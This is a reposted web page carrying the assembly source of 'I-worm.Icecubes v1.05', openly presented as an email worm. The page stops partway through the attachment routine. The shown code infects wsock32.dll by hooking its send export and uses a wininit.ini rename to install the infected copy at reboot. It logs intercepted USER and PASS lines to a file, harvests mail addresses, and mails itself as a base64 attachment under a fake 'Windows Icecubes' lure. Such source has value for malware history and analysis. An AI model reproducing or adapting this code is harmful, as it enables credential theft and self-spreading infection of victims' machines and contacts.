分享
 
 
 

I-worm.Icecubes source code

王朝other·作者佚名  2006-04-28
窄屏简体版  字體: |||超大  

;****************************************************************************;

;----------------------------------------------------------------------------;

; I-worm.Icecubes v 1.05

; written by f0re

;----------------------------------------------------------------------------;

;============================================================================;

;

; ABOUT

; -----

;

; Welcome to the sourcecode of my first i-worm. I have given this worm its

; name, i-worm.Icecubes, because of two reasons. First of all, here where

; i live the summer is coming..and i like icecubes in my drinks :).

; Secondly it is because of the joke behind the worm host code; when a user

; receives the worm in his mailbox, the emailmessage looks like this:

;

; Subject: Fw: Windows Icecubes !

;

; ----- Original Message -----

;

; >Look at what I found on the web. This tool scans your system for hidden

; >Windows settings.

; >These settings, which are better known as the "Windows Icecubes", were

; >built in Windows by

; >the programmers at Microsoft and were supposed to be kept secret.

; >

; >Just take a look, cause I think you might want to make some changes ;).

; >

;

;

; EXECUTION

; ---------

;

; When the worm is executed it will first check whether it is being executed

; under win 95/98. If any other version of windows is found, it will skip the

; infection procedure and run the worm-host code immediately.

;

; If windows 95/98 is detected it will try to locate the wsock32.dll and copy it

; to wsock32.inf. It also copies itself to the windows system directory under

; the name wsock2.dll. Then it will add the worm code to the .inf file by

; increasing the size of the last section.

; Next the worm will point the send api address in the wsock32.inf export table

; to the virus code. Finally the worm drops a wininit.ini file in the windir

; to direct windows at the next reboot to overwrite the original wsock32.dll

; with the infected wsock32.inf.

;

; Then the worm will execute the worm host code; a progressbar followed by

; funny dialog (check it out for yourself :).

;

;

; SEND HOOK

; ---------

;

; Once the wsock32.dll api-hook-routine receives control it will scan the send

; buffer for usernames and or passwords. If these are found, they are stored in the

; file <windir>\icecube.txt. If an email is being sended, the worm will extract the

; recipient(s) emailaddress(es), the from emailaddres, the recipient(s) name(s)

; and the from-name. Next it will base64 encode the host-worm file (wsock2.dll) and

; prepare a new email with the encoded host attached. The body of the email contains

; the text as shown in the ABOUT section of this description. This new email will

; be send after the original email has been send (this is also known as the

; happy99 technique).

;

;

; THANKS

; ------

;

; I'd like to thank the following persons who helped me with my many

; questions: BlackJack, MrSandman, Spo0ky, Darkman, Benny, Prizzy,

; urgo32, Lifewire, dageshi and T-2000.

;

;

;****************************************************************************;

;

; To compile:

;

; tasm32 icecubes.asm /ml /m

; tlink32 -aa icecubes.obj import32.lib

;

; brcc32 icecubes.rc

; brc32.exe icecubes.res

;

;****************************************************************************;

.386

.model flat, stdcall

locals

jumps

extrn ExitProcess:PROC

extrn DialogBoxParamA:PROC

extrn GetModuleHandleA:PROC

extrn EndDialog:PROC

extrn GetWindowRect:PROC

extrn GetDesktopWindow:PROC

extrn MoveWindow:PROC

extrn CreateThread:PROC

extrn SendDlgItemMessageA:PROC

extrn SetDlgItemTextA:PROC

extrn CloseHandle:PROC

extrn GetDlgItemTextA:PROC

extrn GetModuleHandleA:PROC

extrn GetVersion:PROC

.data

Start:

xor ebp, ebp

CheckWindowsVersion:

call GetVersion

or eax, eax

jz ReturnToWormHost

MainRoutines:

pushad

call GET_GETPROCADDRESS_API_ADDRESS

call GET_WINDIR

call GET_SYSDIR

call INFECT_WSOCK

call COPY_HOST_FILE

popad

ReturnToWormHost:

jmp OriginalHost

;==============================[ includes ]==================================;

include windows.inc

include wsocks.inc

include myinc.inc

;=============================[ ic-data.inc ]===============================;

; get_gpa.inc data

kernel32address dd 0BFF70000h

numberofnames dd ?

addressoffunctions dd ?

addressofnames dd ?

addressofordinals dd ?

AONindex dd ?

AGetProcAddress db "GetProcAddress", 0

AGetProcAddressA dd 0

; directory.inc data

currentdir db 100h dup(0)

sysdir db 100h dup(0)

windir db 100h dup(0)

AGetSystemDirectory db "GetSystemDirectoryA",0

AGetWindowsDirectory db "GetWindowsDirectoryA",0

ASetCurrentDirectorydb "SetCurrentDirectoryA",0

; infect_wsock.inc

wsock32dll db "Wsock32.dll",0

wsock32inf db "Wsock32.inf",0

ACopyFile db "CopyFileA",0

infectionflag db 0

AFindFirstFile db "FindFirstFileA",0

myfinddata WIN32_FIND_DATA <>

filesizedd 0

memory dd 0

ADeleteFile db "DeleteFileA",0

; infect_file.inc

ASetFileAttributes db "SetFileAttributesA",0

ACreateFiledb "CreateFileA",0

ACreateFileMapping db "CreateFileMappingA",0

AMapViewOfFile db "MapViewOfFile",0

filehandledd 0

maphandle dd 0

mapaddress dd 0

PEheader dd 0

imagebase dd 0

imagesize dd 0

wnewapiaddress dd 0

AUnmapViewOfFile db "UnmapViewOfFile",0

ACloseHandle db "CloseHandle",0

ASetFilePointer db "SetFilePointer",0

ASetEndOfFile db "SetEndOfFile",0

ASetFileTime db "SetFileTime",0

; hook_api.inc

woldapiaddress dd 0

; rva_to_raw.inc

rva2raw dd 0

; get_api.inc

user32addressdd 0

wsock32address dd 0

; create_ini_file.inc

inifile db "wininit.ini",0

writtensize dw 0

inicrlfdb 0dh,0ah,0

renamedb "[rename]",13,10

slashsign db "\",0

equalsigndb "=",0

writtenbytesdd 0

AWriteFile db "WriteFile",0

; ws_copy_host_file

AGetModuleFileName db "GetModuleFileNameA",0

; get_bases.inc

ALoadLibrary db "LoadLibraryA",0

k32 db "KERNEL32.dll",0

user32 db "USER32.dll",0

wsock32 db "WSOCK32.dll",0

; host_code.inc

dlgrect RECT <>

desktoprect RECT <>

dlgwidthdd 0

dlgheight dd 0

threadiddd 0

initflagdd 0

okflagdd 0

flag dd 0

pastvaluedd 0

currentvaluedb '2',0

doneflagdd 0

value11db "Days",0

value12db "Weeks",0

value13db "Months",0

value14db "Years",0

value3db "5000",0

value4db "17",0

; ic.asm

hInst dd 0

; write_to_file.inc

passwordfiledb "icecube.txt",0

; ws_intercept.inc

socketh dd 0

status db 0

AGlobalAlloc db "GlobalAlloc",0

fromaddress dd 0

fromsize dd 0

rcptnumber dd 0

rcpt_buffer_address dd 0

rcpt_size_addressdd 0

totalrcptsizedd 0

fromtagdb 'From:',0

totagdb 'To:',0

mimeendtagdb '>',0

mimefrom_address dd 0

mimefromsizedd 0

fromstatusdb 0

tostatusdb 0

toendtagdb 'Subject:',0

mimetosizedd 0

mimeto_address dd 0

; ws_b64_encoder.inc

encTable db 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuv'

db 'wxyz0123456789+/'

; ws_attachment

wsock2db "Wsock2.dll",0

smHnd dd 0

dmHnd dd 0

bytesread dd 0

encodedsize dd 0

AReadFile db "ReadFile",0

AGetFileSize db "GetFileSize",0

; ws_send_mail

email_buffer_address dd 0

email_sizedd 0

datatag db 'DATA',0dh,0ah

emailiddb 'Message-ID: <a1234>',0dh,0ah

emailstart db 'Subject: Fw: Windows Icecubes !',0dh,0ah

db 'MIME-Version: 1.0',0dh,0ah

db 'Content-Type: multipart/mixed; boundary="a1234"',0dh,0ah

db 0dh,0ah,'--a1234',0dh,0ah

db 'Content-Type: text/plain; charset=us-ascii',0dh,0ah

db 'Content-Transfer-Encoding: 7bit',0dh,0ah,0dh,0ah

db 0dh,0ah

db '----- Original Message -----', 0dh,0ah

db 0dh,0ah

db '>Look at what I found on the web. This tool scans your system for hidden Windows settings.', 0dh, 0ah

db '>These settings, which are better known as the "Windows Icecubes", were built in Windows by', 0dh,0ah

db '>the programmers at Microsoft and were supposed to be kept secret. ',0dh,0ah

db '>',0dh,0ah

db '>Just take a look, cause I think you might want to make some changes ;).',0dh,0ah

db '>',0dh,0ah

db 0dh,0ah

db 0dh,0ah,'--a1234',0dh,0ah

db 'Content-Type: application/octet-stream; name="Icecubes.exe"'

db 0dh,0ah,'Content-Transfer-Encoding: base64',0dh,0ah

db 'Content-Disposition: attachment; filename="Icecubes.exe"',0dh,0ah,0dh,0ah

emailend db 0dh,0ah

emailtail db 0dh,0ah,0dh,0ah,'--a1234--',0dh,0ah,0dh,0ah

endtagdb 0Dh,0Ah,2Eh,0Dh,0Ah

timedateSYSTEMTIME <>

AMessageBox db "MessageBoxA",0

AGetSystemTimedb "GetSystemTime",0

msgmessage db "Windows detected icecubes on your harddrive.",10,13

db "This may cause the system to stop responding.",10,13

db "Do you want Windows to remove all icecubes ?",0

windowtitle db "I-worm.Icecubes / f0re",0

ASend db "send",0

ARecv db "recv",0

recvbufferdb 100h dup(0)

;============================[ ic-get_gpa.inc ]=============================;

GET_GETPROCADDRESS_API_ADDRESS proc

LoadExportTableData:

mov edi, [ebp + kernel32address]; get exporttable

add edi, [edi + 3ch]; address from

mov esi, [edi + 78h]; kernel's PE header

add esi, [ebp + kernel32address]

mov eax, dword ptr [esi + 18h]

mov [ebp + numberofnames], eax; save number of names

mov eax, dword ptr [esi + 1Ch]; get ra of table with

add eax, [ebp + kernel32address]; pointers to funtion

mov [ebp + addressoffunctions], eax; addresses

mov eax, dword ptr [esi + 20h]; get ra of table with

add eax, [ebp + kernel32address]; pointers to names

mov [ebp + addressofnames], eax; of functions

mov eax, dword ptr [esi + 24h]; get ra of table with

add eax, [ebp + kernel32address]; pointers to ordinals

mov [ebp + addressofordinals], eax; of functions

BeginProcAddressSearch:

mov esi, [ebp + addressofnames]; search for GetProc

mov [ebp + AONindex], esi; Address API in names

mov edi, [esi]; table

add edi, [ebp + kernel32address]

xor ecx, ecx

lea ebx, [ebp + AGetProcAddress]

TryAgain:

mov esi, ebx

MatchByte:

cmpsb

jne NextOne

cmp byte ptr [esi], 0; did the entire string

je GotIt; match ?

jmp MatchByte

NextOne:

inc cx

add dword ptr [ebp + AONindex], 4; get next namepointer

mov esi, [ebp + AONindex]; in table (4 dwords)

mov edi, [esi]

add edi, [ebp + kernel32address]; align with kernelbase

jmp TryAgain

GotIt:

shl ecx, 1

mov esi, [ebp + addressofordinals]; ordinal = nameindex *

add esi, ecx; size of ordinal entry

xor eax, eax; + ordinal table base

mov ax, word ptr [esi]

shl eax, 2; address of function =

mov esi, [ebp + addressoffunctions]; ordinal * size of

add esi, eax; entry of address

mov edi, dword ptr [esi]; table + base of

add edi, [ebp + kernel32address]; addresstable

mov [ebp + AGetProcAddressA], edi; save GPA address

ret

GET_GETPROCADDRESS_API_ADDRESS endp

;===========================[ ic-get_bases.inc ]============================;

GET_WSOCK32_BASE_ADDRESS proc

LoadWsock32:

lea eax, [ebp + wsock32]; not found, then

push eax; load the dll

lea eax, [ebp + ALoadLibrary]; first

call GETAPI

mov [ebp + wsock32address], eax

ret

GET_WSOCK32_BASE_ADDRESS endp

GET_USER32_BASE_ADDRESS proc

GetUser32Base:

lea eax, [ebp + user32]

push eax

lea eax, [ebp + ALoadLibrary]

call GETAPI

mov [ebp + user32address], eax

ret

GET_USER32_BASE_ADDRESS endp

;============================[ ic-get_api.inc ]=============================;

GETAPI proc

push eax

push dword ptr [ebp + kernel32address]; load kernelbase

call [ebp + AGetProcAddressA]; and get api address

jmp eax; call the api

ret; return

GETAPI endp

GETUAPI proc

push eax

push dword ptr [ebp + user32address]; load wsockbase

call [ebp + AGetProcAddressA]; and get api address

jmp eax

ret

GETUAPI endp

GETWAPI proc

push eax

push dword ptr [ebp + wsock32address]; load wsockbase

call [ebp + AGetProcAddressA]; and get api address

jmp eax

ret

GETWAPI endp

;==========================[ ic-directory.inc ]=============================;

GET_WINDIR proc

GetWindowsDir:

push 128h; size of dirstring

lea eax, [ebp + windir]; save it here

push eax

lea eax, [ebp + AGetWindowsDirectory]; get windowsdir

call GETAPI

ret

GET_WINDIR endp

GET_SYSDIR proc

GetSystemDir:

push 128h; size of dirstring

lea eax, [ebp + sysdir]; save it here

push eax

lea eax, [ebp + AGetSystemDirectory]; get system dir

call GETAPI

ret

GET_SYSDIR endp

SET_WINDIR proc

SetWindowsDir:

lea eax, [ebp + windir]; change to sysdir

push eax

lea eax, [ebp + ASetCurrentDirectory]

call GETAPI

ret

SET_WINDIR endp

SET_SYSDIR proc

SetSystemDir:

lea eax, [ebp + sysdir]; change to sysdir

push eax

lea eax, [ebp + ASetCurrentDirectory]

call GETAPI

ret

SET_SYSDIR endp

;=========================[ ic-infect_wsock.inc ]===========================;

INFECT_WSOCK proc

WsockSetSystemDirectory:

call SET_SYSDIR

CopyWSockFile:

push 00h

lea eax, [ebp + wsock32inf]

push eax

lea eax, [ebp + wsock32dll]

push eax

lea eax, [ebp + ACopyFile]

call GETAPI

SearchWsockFile:

mov [ebp + infectionflag], 00h

lea eax, [ebp + myfinddata]; win32 finddata structure

push eax

lea eax, [ebp + wsock32inf]; get wsock32.inf

push eax

lea eax, [ebp + AFindFirstFile]; find the first file

call GETAPI

cmp eax, 0FFFFFFFh

je WsockEndSearch

GoInfectWsockInf:

mov ecx, [ebp + myfinddata.fd_nFileSizeLow]; ecx = filesize

mov [ebp + filesize], ecx; save the filesize

add ecx, Leap - Start + 1000h; filesize + virus

mov [ebp + memory], ecx; + workspace = memory

call INFECT_FILE

cmp [ebp + infectionflag], 01

je DeleteWsockFile

call CREATE_INI_FILE

jmp WsockEndSearch

DeleteWsockFile:

lea eax, [ebp + wsock32inf]

push eax

lea eax, [ebp + ADeleteFile]

call GETAPI

DeleteIniFile2:

call SET_WINDIR

lea eax, [ebp + inifile]

push eax

lea eax, [ebp + ADeleteFile]

call GETAPI

WsockEndSearch:

ret

INFECT_WSOCK endp

;=========================[ ic-infect_file.inc ]============================;

INFECT_FILE proc

SetAttributesToNormal:

push 80h

lea esi, [ebp + myfinddata.fd_cFileName]; esi = filename

push esi

lea eax, [ebp + ASetFileAttributes]

call GETAPI

OpenFile:

push 0; template handle=0

push 20h; attributes=any file

push 3; type= existing file

push 0; security option = 0

push 1; shared for read

push 80000000h or 40000000h; generic read write

push esi; offset file name

lea eax, [ebp + ACreateFile]

call GETAPI

cmp eax, 0FFFFFFFFh

je InfectionError

mov [ebp + filehandle], eax

;-------------------------------[ map file ]---------------------------------;

CreateFileMapping:; allocates the memory

push 0; filename handle = 0

push dword ptr [ebp + memory]; max size = memory

push 0; minumum size = 0

push 4; read / write access

push 0; sec. attrbs= default

push dword ptr [ebp + filehandle]

lea eax, [ebp + ACreateFileMapping]

call GETAPI; eax = new map handle

mov [ebp + maphandle], eax

or eax, eax

jz CloseFile

MapViewOfFile:

push dword ptr [ebp + memory]; memory to map

push 0; file offset

push 0; file offset

push 2; file map write mode

push eax; file map handle

lea eax, [ebp + AMapViewOfFile]; ok map the file

call GETAPI

or eax, eax

jz CloseMap

mov esi, eax; esi= base of map

mov [ebp + mapaddress], esi; save that base

DoSomeChecks:

cmp word ptr [esi], 'ZM'; an exe file?

jne UnmapView

cmp word ptr [esi + 38h], 'll'; already infected?

jne OkGo

mov [ebp + infectionflag], 1; set infectionflag

jmp UnmapView

OkGo:

mov ebx, dword ptr [esi + 3ch]

cmp ebx, 200h

ja UnmapView

add ebx, esi

cmp dword ptr [ebx], 'EP'; is it a PE file ?

jne UnmapView

mov [ebp + PEheader], ebx; save ra PE header

mov esi, ebx

mov eax, [esi + 34h]

mov [ebp + imagebase], eax; save imagebase

;------------------------------[ append section ]----------------------------;

LocateBeginOfLastSection:

movzx ebx, word ptr [esi + 20d]; optional header size

add ebx, 24d; file header size

movzx eax, word ptr [esi + 6h]; no of sections

dec eax; (we want the last-1

mov ecx, 28h; sectionheader)

mul ecx; * header size

add esi, ebx; esi = begin of last

add esi, eax; section's header

ChangeLastSectionHeader:

or dword ptr [esi + 24h], 00000020h or 20000000h or 80000000h

NewAlignedPhysicalSize:

mov eax, dword ptr [esi + 10h]; old phys size

push eax; save it

add eax, Leap-Start

mov ecx, [ebp + PEheader]

mov ecx, [ecx + 38h]

div ecx; and align it to

inc eax; the sectionalign

mul ecx

mov dword ptr [esi + 10h], eax ; save it

VirtualSizeCheck:

mov edi, dword ptr [esi + 8h]; get old

cmp eax, edi; virtualsize

jge NewVirtualSize

VirtualSizeIsVirtual:

add edi, Leap-Start

mov eax, edi

mov ecx, [ebp + PEheader]

mov ecx, [ecx + 38h]

div ecx; and align it to

inc eax; the sectionalign

mul ecx

NewVirtualSize:

mov [esi + 8h], eax; save new value

NewAlignedImageSize:

mov eax, dword ptr [esi + 0ch]; get virtual offset

add eax, dword ptr [esi + 8h]; + new virtual size

mov [ebp + imagesize], eax; = new imagesize

NewAlignedFileSize:

mov eax, dword ptr [esi + 10h]; get new phys size

add eax, dword ptr [esi + 14h]; add offset of phys

mov ecx, [ebp + PEheader]

mov ecx, [ecx + 3ch]

div ecx; and align it to

inc eax; the filealign

mul ecx

mov [ebp + filesize], eax; size = filesize

CalculateNewWsockApiAddress:

pop eax

push eax

add eax, dword ptr [esi + 0ch]; + virtual offset

add eax, InterceptWsockApiCall - Start; + ip

mov [ebp + wnewapiaddress], eax; new api address

jmp HookDaApi

HookDaApi:

push esi

call HOOK_API

pop esi

CopyVirusToEndOfFile:

pop eax

mov edi, eax

add edi, [ebp + mapaddress]; mapaddress

add edi, [esi + 14h]; add raw data offset

lea esi, [ebp + Start]; copy virus

mov ecx, (Leap-Start)/4 + 4

cld

rep movsd

UpdatePEHeaderWithChanges:

mov esi, [ebp + mapaddress]

mov word ptr [esi + 38h], 'll'; set infectionmark

mov esi, [ebp + PEheader]

mov eax, [ebp + imagesize]

mov [esi + 50h], eax; set new imagesize

;--------------------------------[ unmap file ]------------------------------;

UnmapView:

push dword ptr [ebp + mapaddress]

lea eax, [ebp + AUnmapViewOfFile]

call GETAPI

CloseMap:

push dword ptr [ebp + maphandle]

lea eax, [ebp + ACloseHandle]

call GETAPI

push 0

push 0

push dword ptr [ebp + filesize]

push dword ptr [ebp + filehandle]

lea eax, [ebp + ASetFilePointer]

call GETAPI

push dword ptr [ebp + filehandle]

lea eax, [ebp + ASetEndOfFile]

call GETAPI

;--------------------------------[ close file ]------------------------------;

CloseFile:

push dword ptr [ebp + myfinddata.fd_ftLastWriteTime]

push dword ptr [ebp + myfinddata.fd_ftLastAccessTime]

push dword ptr [ebp + myfinddata.fd_ftCreationTime]

push dword ptr [ebp + filehandle]

lea eax, [ebp + ASetFileTime]

call GETAPI

push [ebp + filehandle]

lea eax, [ebp + ACloseHandle]

call GETAPI

InfectionError:

push dword ptr [ebp + myfinddata.fd_dwFileAttributes]

lea eax, [ebp + myfinddata.fd_cFileName]

push eax

lea eax, [ebp + ASetFileAttributes]

call GETAPI

ret

INFECT_FILE endp

;===========================[ ic-hook_api.inc ]=============================;

HOOK_API proc

LoadWSockExportTableData:

mov edi, [ebp + PEheader]

mov esi, dword ptr [edi + 78h]; rva export table

mov edx, esi; get RVA

call RVA_TO_RAW

mov esi, ecx

mov eax, dword ptr [esi + 18h]

mov [ebp + numberofnames], eax; save number of names

push esi

mov eax, dword ptr [esi + 1Ch]; get ra of table with

mov edx, eax

call RVA_TO_RAW

mov eax, ecx; pointers to funtion

mov [ebp + addressoffunctions], eax; addresses

pop esi

push esi

mov eax, dword ptr [esi + 20h]; get ra of table with

mov edx, eax

call RVA_TO_RAW

mov eax, ecx; pointers to names

mov [ebp+addressofnames], eax; of functions

pop esi

push esi

mov eax, dword ptr [esi + 24h]; get ra of table with

mov edx, eax

call RVA_TO_RAW

mov eax, ecx; pointers to ordinals

mov [ebp+addressofordinals], eax; of functions

pop esi

BeginSendAddressSearch:

mov esi, [ebp + addressofnames]; search for

mov [ebp + AONindex], esi; API in names

mov edi, [esi]; table

mov edx, edi

call RVA_TO_RAW

mov edi, ecx

xor ecx, ecx

HookSendApi:

lea ebx, [ebp + ASend]

OkTryAgain:

mov esi, ebx

MatchByteNow:

cmpsb

jne NextOneNow

cmp byte ptr [esi], 0; did the entire string

je YesGotIt; match ?

jmp MatchByteNow

NextOneNow:

inc cx

add dword ptr [ebp + AONindex], 4; get next namepointer

mov esi, [ebp + AONindex]; in table (4 dwords)

mov edi, [esi]

push ebx

push ecx

mov ebx, [ebp + mapaddress]

mov edx, edi

call RVA_TO_RAW

mov edi, ecx

pop ecx

pop ebx

jmp OkTryAgain

YesGotIt:

shl ecx, 1

mov esi, [ebp + addressofordinals]; ordinal = nameindex *

add esi, ecx; size of ordinal entry

xor eax, eax; + ordinal table base

mov ax, word ptr [esi]; offset of address

shl eax, 2; of function = ordinal

mov esi, [ebp + addressoffunctions]; * size of entry of

add esi, eax; address table

mov edi, dword ptr [esi]; get address

SaveNewWsockApiAddress:

mov [ebp + woldapiaddress], edi; save it

ChangeWsock:

mov eax, dword ptr [ebp + wnewapiaddress]; new api address

mov dword ptr [esi], eax; set it

ret

HOOK_API endp

;===========================[ ic-rva_to_raw.inc ]===========================;

RVA_TO_RAW proc

; In: edx - RVA to convert

; Out: ecx - Pointer to RAW data or NULL if error

GetRaw:

mov ebx, [ebp + mapaddress]

mov [ebp + rva2raw], edx

mov esi, dword ptr [ebx + 3ch]

add esi, ebx; esi=offset peheader

xor ecx, ecx

mov cx, word ptr [esi + 06h]; ecx = nr. of sections

xor edi, edi

mov di, word ptr [esi + 20d]; optional header size

add esi, 24d; file header size

add edi, esi

FindCorrespondingSection:

mov eax, dword ptr [ebp + rva2raw]; rva we want into raw

mov edx, dword ptr [edi + 12d]; section RVA

sub eax, edx

cmp eax, dword ptr [edi+08d]; section size

jb SectionFound

NotThisSection:

add edi, 40d

loop FindCorrespondingSection

EndRawSearch:

ret

SectionFound:

mov ecx, dword ptr [edi+20d]; pntr to section's raw

sub edx, ecx; data from beginning

add ecx, eax; of file

add ecx, ebx

ret

RVA_TO_RAW endp

;=========================[ ic-create_ini_file.inc ]========================;

CREATE_INI_FILE proc

IniGetSetWindowsDir:

call SET_WINDIR

CreateInstallIni:

push 0; template handle=0

push 20h; attributes=any file

push 4; type= new file

push 0; security option = 0

push 1; shared for read

push 80000000h or 40000000h; generic read write

lea eax, [ebp + inifile]

push eax; offset file name

lea eax, [ebp + ACreateFile]

call GETAPI

mov [ebp + filehandle], eax

SetIniFilePointerToEnd:

push 02h

push 00h

push 00h

push [ebp + filehandle]

lea eax, [ebp + ASetFilePointer]

call GETAPI

mov dword ptr [ebp + writtensize], 00h

WriteInstallIniLoop:

lea esi, [ebp + inicrlf]

xor ecx, ecx

call StringSize

call Write

lea esi, [ebp + rename]; write 'rename'

mov word ptr [ebp + writtensize], 0Ah

call Write

lea esi, [ebp + sysdir]; write systemdir

xor ecx, ecx

call StringSize

call Write

lea esi, [ebp + slashsign]; write slash

xor ecx, ecx

call StringSize

call Write

WriteWsock32Dll:

lea esi, [ebp + wsock32dll]; write original dll

xor ecx, ecx

call StringSize

call Write

WriteOn:

lea esi, [ebp + equalsign]; write original dll

xor ecx, ecx

call StringSize

call Write

lea esi, [ebp + sysdir]; write systemdir

xor ecx, ecx

call StringSize

call Write

lea esi, [ebp + slashsign]; write slash

xor ecx, ecx

call StringSize

call Write

WriteInfectedWsock:

lea esi, [ebp + wsock32inf]; write original dll

xor ecx, ecx

call StringSize

call Write

jmp CloseInstallIni

StringSize:

cmp byte ptr [esi + ecx], 0h

je GotSize

inc ecx

jmp StringSize

GotSize:

mov word ptr [ebp + writtensize], cx

ret

Write:

push 0h

lea eax, [ebp + writtenbytes]

push eax

xor eax, eax

mov ax, word ptr [ebp + writtensize]

push eax

push esi

push dword ptr [ebp + filehandle]

lea eax, [ebp + AWriteFile]

call GETAPI

ret

CloseInstallIni:

lea esi, [ebp + inicrlf]; write original dll

xor ecx, ecx

call StringSize

call Write

push dword ptr [ebp + filehandle]

lea eax, [ebp + ACloseHandle]

call GETAPI

ret

CREATE_INI_FILE endp

;=========================[ ic-copy_host_file.inc ]=========================;

COPY_HOST_FILE proc

GetCurrentHostPath:

push 100h

lea eax, [ebp + currentdir]

push eax

push 00h

lea eax, [ebp + AGetModuleFileName]

call GETAPI

SetSysDirectory:

call SET_SYSDIR

CopyWormHostFile:

push 00h

lea eax, [ebp + wsock2]

push eax

lea eax, [ebp + currentdir]

push eax

lea eax, [ebp + ACopyFile]

call GETAPI

ret

COPY_HOST_FILE endp

;=========================[ ic-ws_intercept.inc ]===========================;

INTERCEPT_WSOCK proc

InterceptWsockApiCall:

push ebp

call GetDelta

GetDelta:

pop ebp

sub ebp, offset GetDelta

pushad

CheckStatus:

mov eax, [esp+(8*4)+(1*4)+4 + 0] ; get send() socket

mov [ebp + socketh], eax; save it

mov esi, [esp+(8*4)+(1*4)+4 + 4] ; send() buffer

mov ecx, [esp+(8*4)+(1*4)+4 + 8]; size of buffer

pushad

call GET_GETPROCADDRESS_API_ADDRESS

popad

CheckForSecurityInfo:

cmp [esi], 'RESU'

je StoreBufferData

cmp [esi], 'SSAP'

jne DontStore

StoreBufferData:

pushad

call WRITE_TO_FILE

popad

DontStore:

cmp [ebp + status], 00h; monitoring==true ?

je CheckMailFrom; yes, we are

cmp [ebp + status], 02h

je CheckRcptTo

cmp [ebp + status], 03h

je CheckMimeFrom

cmp [ebp + status], 05h

je CheckQuit

jmp Continue

CheckMailFrom:

mov esi, [esp+(8*4)+(1*4)+4 + 4] ; send() buffer

mov ecx, [esp+(8*4)+(1*4)+4 + 8]; size of buffer

cmp [esi], 'LIAM'

jne Continue

StoreMailFromTag:

pushad

call WRITE_TO_FILE

popad

SaveMailFrom:

mov [ebp + fromsize], ecx

push ecx

push esi

push ecx

push 00h

lea eax, [ebp + AGlobalAlloc]

call GETAPI

or eax, eax

jz ErrorWhileSending

pop esi

pop ecx

mov [ebp + fromaddress], eax

mov edi, eax

rep movsb

mov [ebp + status], 02h

CheckRcptTo:

mov esi, [esp+(8*4)+(1*4)+4 + 4] ; send() buffer

mov ecx, [esp+(8*4)+(1*4)+4 + 8]; size of buffer

cmp [esi], 'TPCR'

jne CheckData

AllocateRcptMemory:

cmp [ebp + rcptnumber], 00h

jne SaveRcptTo

push ecx

push esi

push 500h

push 00h

lea eax, [ebp + AGlobalAlloc]

call GETAPI

or eax, eax

jz ErrorWhileSending; mem for rctp email

mov [ebp + rcpt_buffer_address], eax; addresses

push 100h

push 00h

lea eax, [ebp + AGlobalAlloc]

call GETAPI

or eax, eax

jz ErrorWhileSending; mem for size of rctp

mov [ebp + rcpt_size_address], eax; email addresses

pop esi

pop ecx

SaveRcptTo:

push ecx; store rcpt string

mov edi, [ebp + rcpt_buffer_address]

mov eax, [ebp + totalrcptsize]

add edi, eax

rep movsb

pop ecx

mov edi, [ebp + rcpt_size_address]; store rcpt string size

mov eax, [ebp + rcptnumber]

mov edx, 04h

mul edx

add edi, eax

mov dword ptr [edi], ecx

mov eax, [ebp + totalrcptsize]; calculate total size

add eax, ecx; of rcpts

mov [ebp + totalrcptsize], eax

mov eax, [ebp + rcptnumber]; calculate number of

add eax, 01h; rcpt we have

mov [ebp + rcptnumber], eax

jmp Continue

CheckData:

mov esi, [esp+(8*4)+(1*4)+4 + 4] ; send() buffer

mov ecx, [esp+(8*4)+(1*4)+4 + 8]; size of buffer

cmp [esi], 'ATAD'

jne Continue

mov [ebp + status], 03h

CheckMimeFrom:

mov esi, [esp+(8*4)+(1*4)+4 + 4] ; send() buffer

mov ecx, [esp+(8*4)+(1*4)+4 + 8]; size of buffer

MimeFromLoop:

lea edi, [ebp + fromtag]

push ecx

push esi

mov ecx, 05h

rep cmpsb

pop esi

pop ecx

je SearchMimeFromEnd

inc esi

loop MimeFromLoop

CheckMimeTo:

mov esi, [esp+(8*4)+(1*4)+4 + 4]

mov ecx, [esp+(8*4)+(1*4)+4 + 8]

MimeToLoop:

lea edi, [ebp + totag]

push ecx

push esi

mov ecx, 03h

rep cmpsb

pop esi

pop ecx

je SearchMimeToEnd

inc esi

loop MimeToLoop

jmp CheckQuit

SearchMimeFromEnd:

push esi

FromEndLoop:

lea edi, [ebp + mimeendtag]

push ecx

push esi

mov ecx, 01h

rep cmpsb

pop esi

pop ecx

je SaveMimeFrom

inc esi

loop FromEndLoop

pop esi

jmp Continue

SaveMimeFrom:

mov eax, esi

pop esi

sub eax, esi

mov ecx, eax

add ecx, 03h

mov [ebp + mimefromsize], ecx

push esi

push ecx

push ecx

push 00h

lea eax, [ebp + AGlobalAlloc]

call GETAPI

or eax, eax

jz MimeError

mov [ebp + mimefrom_address], eax

pop ecx

pop esi

mov edi, eax

rep movsb

mov [ebp + fromstatus], 01h

cmp [ebp + tostatus], 01h

jne CheckMimeTo

mov [ebp + status], 05h

jmp CheckQuit

SearchMimeToEnd:

push esi

ToEndLoop:

lea edi, [ebp + toendtag]

push ecx

push esi

mov ecx, 08h

rep cmpsb

pop esi

pop ecx

je SaveMimeTo

inc esi

loop ToEndLoop

pop esi

jmp Continue

SaveMimeTo:

mov eax, esi

pop esi

sub eax, esi

mov ecx, eax

mov [ebp + mimetosize], ecx

push esi

push ecx

push ecx

push 00h

lea eax, [ebp + AGlobalAlloc]

call GETAPI

or eax, eax

jz MimeError

mov [ebp + mimeto_address], eax

pop ecx

pop esi

mov edi, eax

rep movsb

mov [ebp + tostatus], 01h

cmp [ebp + fromstatus], 01h

jne CheckMimeFrom

mov [ebp + status], 05h

jmp CheckQuit

MimeError:

pop ecx

pop esi

mov [ebp + status], 05h

CheckQuit:

mov esi, [esp+(8*4)+(1*4)+4 + 4]

mov ecx, [esp+(8*4)+(1*4)+4 + 8]

cmp [esi], 'TIUQ'

jne Continue

pushad

call SEND_MAIL

popad

jmp InterceptionFinished

ErrorWhileSending:

pop esi

pop ecx

InterceptionFinished:

mov [ebp + status], 00h

mov [ebp + totalrcptsize], 00h

mov [ebp + rcptnumber], 00h

mov [ebp + tostatus], 00h

mov [ebp + fromstatus], 00h

jmp Continue

Continue:

popad

lea eax, [ebp + InterceptWsockApiCall] ; get ep va

sub eax, dword ptr [ebp + wnewapiaddress] ; - ep RVA

add eax, dword ptr [ebp + woldapiaddress]; = imagebase

pop ebp

jmp eax

INTERCEPT_WSOCK endp

;========================[ ic-ws_attachment.inc ]===========================;

PREPARE_ATTACHMENT proc

SetSysDir:

call SET_SYSDIR

OpenSourceFile:

push 0

push 0

push 3

push 0

push 0

push 80000000h

lea eax, [ebp + wsock2]

push eax

